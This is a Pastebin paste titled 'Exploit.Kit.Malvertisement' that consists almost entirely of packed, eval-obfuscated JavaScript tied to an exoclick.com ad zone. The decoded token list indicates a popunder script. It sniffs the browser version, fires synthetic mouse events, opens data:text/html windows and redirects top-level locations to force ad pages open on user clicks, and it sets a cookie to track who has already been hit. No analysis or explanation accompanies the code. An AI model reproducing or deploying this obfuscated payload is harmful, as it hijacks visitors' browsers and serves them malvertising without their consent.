Advertisement
opexxx

Exploit.Kit.Malvertisement

Feb 17th, 2015
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.69 KB | None | 0 0
  1.  
  2. var exoUrl =  'http://syndication.exoclick.com/splash.php?cat=&idzone=1093848&type=8&p=';
  3. var cookieName = 'splashWeb-1093848';
  4. var baseDomain = '';
  5.  
  6. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b D=F;5 18(){6"2J"+2H.3f(3d*2H.3b()+3n)}5 H(q,z,R){7(q.2t){q.2t(z,R,m)}1h 7(q.2p){q["e"+z+R]=R;q[z+R]=5(){q["e"+z+R](8.1x)};q.2p("2A"+z,q[z+R])}1h{q["2A"+z]=q["e"+z+R]}}2I.3s.2b=5(h){S.3J(S.3x()+h);6 S};5 27(1D,20,2u){b 1V=1Z 2I();1V.2b(12);b 2G=2S(20)+((2u==F)?"":"; 2O="+1V.3e())+"; 32="+2W+"; 2V=/";c.2z=1D+"="+2G}5 2d(1D){b i,x,y,11=c.2z.1i(";");2X(i=0;i<11.2N;i++){x=11[i].2r(0,11[i].10("="));y=11[i].2r(11[i].10("=")+1);x=x.2K(/^\\s+|\\s+$/g,"");7(x==1D){6 2M(y)}}}b 3={1L:{1M:2Y,1N:2R},2B:5(){b k=3.k;D=1J;7(T!=1J){2e{7(T.c.1b.2T()){D=T}}2j(2i){}}7(k.2F.2C(D)){2Z.2U(\'1e\');3.r.1e();6}7(k.p.1I){3.r.A();6}7(k.p.A){3.r.A();6}7(k.p.J&&k.1o(33)&&n.25.10("21")!=-1){3.r.1G();6}7(k.p.J&&k.1o(30)&&n.25.10("21")!=-1){3.r.2w();6}7(k.p.J&&k.2m(30)){3.r.19();6}7(k.p.J&&k.2n(30)){3.r.1F();6}7(k.p.J&&k.1o(31)){3.r.1G();6}7(k.p.K){3.r.K();6}3.r.A();6},1f:5(){6\'1M=\'+3.1L.1M+\',1N=\'+3.1L.1N+\',T=0,36=0,35=1,1b=1,34=0,2Q=0,37=1,2P=1\'},1X:{t:m},t:5(){7(3.1X.t)6 j;7(2d(29))6 j;6 m},X:5(){S.1X.t=j;27(29,1,1)},2x:5(I){b v=I;7(v.1W("1p")==F&&v.1a.L()!="1d"){b o=0;2L(v.1n&&o<=4&&v.1a.L()!="1d"){o++;v=v.1n;7(v.1a.L()==="a"&&v.15!=""){3C}}}6 v},E:{A:5(){7(3.t())6 j;b 1w="1u:1t";b 2a=3.1f();b Y=D.8.G(1w,18(),2a);7(Y){Y.1y();7(n.f.L().10("3z")>-1){D.8.1y();D.8.13()}Y.2g=5(e){3A(e){1v=e.1v;2f=5(){b x,1w=1v.26;7(3B 8.3y!="2D"){x=8.G("1u:1t");x.14()}1h 7(n.f.L().10("J/2")>-1){x=8.G("1u:1t");x.14()}2e{2l.8.13()}2j(2i){}8.1b=1w;8.1y()};2f()}};Y.1v={26:U};Y.2g(Y)}3.X();6},19:5(){7(3.t())6 j;8.G(\'1P:8.13()\',\'3u\');b w=8.G(\'1u:1t\',18(),3.1f());b a=c.1s(\'a\');a.3v(\'15\',\'1Y:1z/1d,<1B\'+\'1A>8.14();</1B\'+\'1A>\');a.3w.3D=\'3G\';c.1g.1k(a);b e=c.1q(\'1l\');e.1j(\'M\',j,j,8,0,0,0,0,0,j,m,m,j,0,F);a.1m(e);c.1g.1H(a);w.c.G().3I(\'<1E z="1z/1P">8.1b="\'+U+\'";<\\/1E>\');w.c.14();3.X()},1F:5(W){7(3.t())6 j;b 17=c.1s("a");17.15=\'1P:8.G("\'+U+\'","\'+18()+\'","\'+3.1f()+\'")\';c.1g.1k(17);17.3H();b 1x=c.1q("1l");1x.1j("M",j,j,8,0,0,0,0,0,m,m,j,m,0,F);17.1m(1x);c.3F();3K(5(){8.38().3E()},3t);b Z=W.1p||W.2q;Z.M();3.X()},K:5(){7(3.t())6 j;b 1C=D.8.G(U,18(),3.1f());7(1C){1C.1y();1C.2l.8.13();8.1J.8.13();8.13();b P="";b O=T.8.c.1s("a");O.15="1Y:1z/1d,<1B"+P+"1A>8.14();</1B"+P+"1A>";c.2o("1g")[0].1k(O);b N=T.8.c.1q("1l");N.1j("M",m,j,8,0,0,0,0,0,j,m,m,j,0,F);O.1m(N);O.1n.1H(O)}3.X()},2v:5(){7(3.t())6 j;b u=(!U)?\'1Y:1z/1d,<1E>8.14();</1E>;\':U;b a=T.8.c.1s("a");b e=c.1q("1l");a.15=u;c.2o("1g")[0].1k(a);e.1j("M",j,j,8,0,0,0,0,0,j,m,m,j,0,F);a.1m(e);a.1n.1H(a);3.X()},1e:5(16){7(3.t())6 j;b I=16.1p||16.2q;7(I.1a.L()!=="a"){I=3.2x(I)}7(I.1a.L()==="a"&&I.1W("1p")!=="39"){8.G(I.1W("15"));3.X();D.c.1b=U;7(16.2E!=2D){16.2E();16.3i()}6 m}6 j}},r:{3q:5(){H(c,\'M\',3.E.A)},A:5(){H(c,\'M\',3.E.A)},19:5(){H(c,\'1c\',3.E.19)},1F:5(){H(c,\'1c\',3.E.1F)},1G:5(){H(c,\'1c\',3.E.2v)},2w:5(){H(c,\'1c\',3.E.19)},K:5(){H(c,\'1c\',3.E.K)},1e:5(){H(c,\'M\',3.E.1e)}},k:{p:5(){b f=n.f.L();b V={1O:/1O/.B(f),22:(/22/.B(f))&&(!/(3m|1O)/.B(f)),J:/J/.B(f),1I:((/1I/.B(f))&&(!/1Q/.B(f))||(!!n.f.C(/2h.*1R/))),A:/A/.B(f),K:(/K/.B(f)&&!(/J/.B(f))),1Q:/1Q/.B(f),1U:(!!n.f.C(/2h.*1R/))};7(V.K){V.l=(f.C(/.+(?:3l)[\\/: ]([\\d.]+)/)||[])[1]}1h 7(V.1U){b 2y=1Z 2s("3k/.*1R:([0-9]{1,}[\\.0-9]{0,})");V.l=(2y.3o(f)!=F)?3r(2s.$1):F}1h{V.l=(f.C(/.+(?:3p|3j|3c|1U)[\\/: ]([\\d.]+)/)||[])[1]}6 V}(),3a:5(l){Q=1r(S.p.l.1i(\'.\')[0]);6 Q>l},1o:5(l){Q=1r(S.p.l.1i(\'.\')[0]);6 Q>=l},2m:5(l){Q=1r(S.p.l.1i(\'.\')[0]);6 Q<l},2n:5(l){Q=1r(S.p.l.1i(\'.\')[0]);6 Q==l},2F:{1T:5(a){6 a.n.f.C(/1T/i)},1S:5(a){6 a.n.f.C(/1S/i)},3h:5(a){6 a.n.f.C(/23|24|2k/i)},1K:5(a){6 a.n.f.C(/1K 28/i)},3g:5(a){6 a.n.f.C(/2c/i)},2C:5(a){6 a.n.f.C(/1T|1S|23|24|2k|1K 28|2c/i)}}}};3.2B();',62,233,'|||exopop||function|return|if|window|||var|document|||userAgent||||true|browser|version|false|navigator||is|obj|binders||opened||currentElement||||type|firefox|test|match|_top|triggers|null|open|addEvent|clickedElement|chrome|safari|toLowerCase|click||||currentVersion|fn|this|top|exoUrl|info||setAsOpened|PopWin||indexOf|ARRcookies||focus|close|href|triggeredEvent|link|getPuId|chromeUntil30|nodeName|location|mousedown|html|mobile|windowParams|body|else|split|initMouseEvent|appendChild|MouseEvents|dispatchEvent|parentNode|versionFrom|target|createEvent|parseInt|createElement|blank|about|Params|popURL|event|blur|text|ipt|scr|popWindow|c_name|script|chrome30|chrome31|removeChild|msie|self|Opera|settings|width|height|webkit|javascript|opera|rv|BlackBerry|Android|ie|exdate|getAttribute|status|data|new|value|Mac|mozilla|iPhone|iPad|appVersion|PopURL|setCookie|Mini|cookieName|params|addHours|IEMobile|getCookie|try|Main|Init|Trident|err|catch|iPod|opener|versionOlderThan|versionIs|getElementsByTagName|attachEvent|srcElement|substr|RegExp|addEventListener|exdays|tab|chrome30_mac|findParentLink|re|cookie|on|init|any|undefined|preventDefault|isMobile|c_value|Math|Date|ad_|replace|while|unescape|length|expires|statusbar|menubar|768|escape|toString|log|path|baseDomain|for|1024|console|||domain||toolbar|scrollbars|left|resizable|getSelection|_blank|versionNewerThan|random|ra|89999999|toUTCString|floor|Windows|iOS|stopPropagation|me|trident|ri|compatible|10000000|exec|ox|explorer|parseFloat|prototype|250|_self|setAttribute|style|getHours|mozPaintCount|applewebkit|with|typeof|break|display|empty|webkitCancelFullScreen|none|webkitRequestFullscreen|write|setHours|setTimeout'.split('|'),0,{}))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement